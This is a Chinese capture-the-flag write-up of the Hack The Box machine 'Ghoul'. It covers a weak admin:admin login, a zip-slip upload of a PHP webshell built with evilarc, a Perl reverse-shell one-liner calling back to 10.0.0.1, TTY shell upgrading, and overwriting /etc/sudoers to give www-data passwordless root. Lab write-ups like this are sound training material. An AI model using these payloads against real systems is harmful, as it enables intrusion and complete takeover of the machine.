Hackthebox-Ghoul

简介: Hackthebox-Ghoul

CTF挑战靶机是来自hackthebox的“Ghoul”,hackthebox是一个非常不错的在线实验平台。

Masscan扫描出目标存在22,80,8080,2222端口

640.png

nmap -a参数扫出更详细的系统信息

640.png

8080web端口需要身份认证才能登录,弱口令admin:admin拿下

640.png

发现8080存在文件上传,分别是image上传和zip上传

640.png

图片上传穿不了马,发现zip可以上传带php脚本内容的文件

网上查出zip-slip,当application中存在压缩包解压代码且没有验证文件的情况下,会构成zip-slip漏洞

相关链接:https://xz.aliyun.com/t/2382

640.png

640.png

利用evilarc工具构造phpwebshell的恶意压缩包

工具路径:https://github.com/ptoomey3/evilarc

640.png

连上webshell

我们开启nc监听,用perl反连

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}

连上webshell后我们尝试将shell升级为完全交互式的TTY

准备工作:需要在自己的终端上面检查STTY和TERM的信息

stty -a检查当前STTY信息

echo $TERM检查当前终端

image.png

所需要TERM类型(“xterm-256color”)和当前TTY大小(24行;80列)

Step1:

查看存不存在python环境(不存在python环境的情况不在这讨论,详细看下方连接)

Step2:

存在python环境的情况下就利用python的pty模块创建一个伪终端,命令如下:# python -c ’import pty;pty.spawn(“/bin/bash”)’

Step3:Ctrl-z将终端放入后台,将当前STTY设置为raw,输入如下命令:

# stty raw -echo

Raw设置打开后,你可能会看不见下一条的输入,但是命令仍会执行,输入命令:

# fg

shell从后台中提出来,并重置它,输入如下命令进行重置:

# reset

Step4:我看会看到shell被提取到了前台,接下来我们输入以下三条指令去匹配我们当前的终端窗口(根据上面收集的信息)

# export SHELL=bash

# export TERM=xterm-256color

# stty rows 24 columns 80

最终哦我们得到一个用nc shell升级的TTY,它具有命令补全,历史查看等功能

具体来源如下:

https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

image.png

image.png

image.png

mount可以查看到web是跑在docker里面的,我们可以将在sudoers文件里面写入命令,将www-data提升为root权限,写入的内容如下:www-data ALL=(ALL) NOPASSWD:ALL

利用zip-slip将sudoers写入到/etc/sudoers

640.jpg

640.png

640.png

无需密码获取root权限,cat flag

640.jpg

相关文章
|
开发工具 Python
ignatureNonceIsNull
ignatureNonceIsNull
78 1
|
SQL 数据库
浅谈null
前言: 我们平时对SQL的数值处理的过程中,经常会纠结一个问题,要不要设置为null?那么null到底是什么意思?在这篇文章中,我将为大家简单的介绍一下我们使用的null。
5905 0
浅谈null
The Sandwich Rule
目标:训练一个可以直接以任意宽度运行的单一网络。其实是在权重共享的条件下,我们可以根据不同的硬件设备挑选不同宽度的网络,不再重训练一个权重。
128 0
The Sandwich Rule
|
Serverless 程序员 云计算
Serverful
Serverful
180 0
|
IDE Java 程序员
What is null?
按照惯例还是在文章开头随便聊聊。之前这个环节是借鉴的why哥,叫“荒腔走板”。现在决定还是换一个有自己特色的名字,冥思苦想,最终拍板“Y说”。 有一段时间没在公众号更新文章了,其实也不是忙,就是有点懒(主要原因),再加上没有太多灵感,所以,很抱歉~
245 0
|
JavaScript 前端开发
|
JavaScript 前端开发